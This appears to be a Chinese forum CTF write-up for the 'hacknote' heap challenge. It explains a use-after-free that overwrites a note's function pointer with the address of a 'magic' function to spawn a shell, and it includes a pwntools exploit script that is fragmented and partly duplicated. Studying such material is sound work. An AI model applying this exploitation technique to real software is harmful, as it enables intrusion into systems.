gdb确认(_DWORD *)((int (__cdecl *)(_DWORD *))*notelist[v2])(notelist[v2])
是哪个函数的方法:
0x8a71018 就在下面,是输入到堆里的“aaaa”
所以,可以确定note结构体为:
当然note-content chunk大小是0x18,还有8个字节我在图中没有打印出来。
思路:
还记得print_note函数里的(_DWORD *)((int (__cdecl *)(_DWORD *))*notelist[v2])(notelist[v2])
,现在就可以理解了:(_DWORD *)((int (__cdecl *)(_DWORD *))*notelist[v2])
就是note结构体中的第一个条目,即print_note_content函数。
那么由于有UAF漏洞,我们就要想办法去把堆中这个函数的地址0x80485fb给改掉,改成magic函数的地址,然后再去调用print_note函数,那么就会调用结构体里的print_note_content函数,当然现在变成了magic函数,就能getshell了!
怎么去改呢?
想想我们的输入,能输入content,也就是说我们能直接控制输入的note-content chunk的内容,不能直接控制note chunk的内容。
还有一点,这个大小的chunk free之后是放入fastbin中,先进先出。
所以,我们可以想办法先malloc出两个note chunk,然后再依次free,接着再调用add_note()函数的话,先free的这个 note chunk(即第一个note chunk)就会变成 note-content chunk 了,我们能控制最后一次malloc的note-content chunk,让输入的content为magic函数的地址,那么就让第一个note chunk中print_note_content的地址变为了magic的地址!
最后调用print_note,输入index为0,那么就getshell了!
调试:
struct note{
void
*
ptr
=
print_note_content;
char
*
content;
}
struct note{
void
*
ptr
=
print_note_content;
char
*
content;
}
from
pwn
import
*
context.log_level
=
'debug'
p
=
process(
'./hacknote'
)
elf
=
ELF(
'./hacknote'
)
def
add(size,content
=
'aaaa'
):
p.sendlineafter(
':'
,
'1'
)
p.sendlineafter(
':'
,
str
(size))
p.sendlineafter(
':'
,content)
def
delete(index):
p.sendlineafter(
':'
,
'2'
)
p.sendlineafter(
':'
,
str
(index))
def
show(index):
p.sendlineafter(
':'
,
'3'
)
p.sendlineafter(
':'
,
str
(index))
sh
=
p32(elf.sym[
'magic'
])
add(
0x10
)
add(
0x10
)
delete(
0
)
delete(
1
)
add(
0x8
,sh)
show(
0
)
def
dbg():
gdb.attach(p)
pause()
p.interactive()
from
pwn
import
*
context.log_level
=
'debug'
p
=
process(
'./hacknote'
)
elf
=
ELF(
'./hacknote'
)
def
add(size,content
=
'aaaa'
):
[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)
最后于 2020-11-30 22:28
被ztree编辑
,原因: